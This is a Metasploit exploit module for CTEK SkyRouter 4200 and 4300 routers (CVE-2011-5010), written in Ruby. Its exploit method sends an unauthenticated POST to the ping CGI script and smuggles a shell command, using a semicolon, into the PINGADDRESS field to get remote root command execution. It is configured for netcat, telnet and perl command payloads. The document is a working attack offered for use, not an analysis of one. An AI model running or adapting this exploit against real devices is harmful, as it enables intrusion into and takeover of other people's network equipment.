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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CTEK SkyRouter 4200 and 4300 Command Execution',
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      'Description'    => %q{
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          This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
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      },
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      'Author'         => [ 'savant42' ],  #with module help from kos
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      'License'        => MSF_LICENSE,
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      'References'     => [
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                  ['CVE', '2011-5010'],
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                  ['OSVDB', '77497']
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                ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 1024,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet netcat netcat-e',
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            }
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        },
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      'Platform'       => 'unix',
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      'Arch'           => ARCH_CMD,
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      'Targets'        => [[ 'Automatic', { }]],
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      'DisclosureDate' => '2011-09-08', # CGI historical date :)
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      'DefaultTarget' => 0))
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  end
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  def exploit
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    post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
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    uri    = '/apps/a3/cfg_ethping.cgi'
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    print_status("Sending HTTP request for #{uri}")
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    res = send_request_cgi( {
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      'global' => true,
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      'uri'    => uri,
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      'method' => "POST",
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      'data' => post_data
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    }, 30)
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    if res
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      print_status("The server responded with HTTP CODE #{res.code}")
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    else
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      print_status("The server did not respond to our request")
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    end
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    handler
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  end
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end
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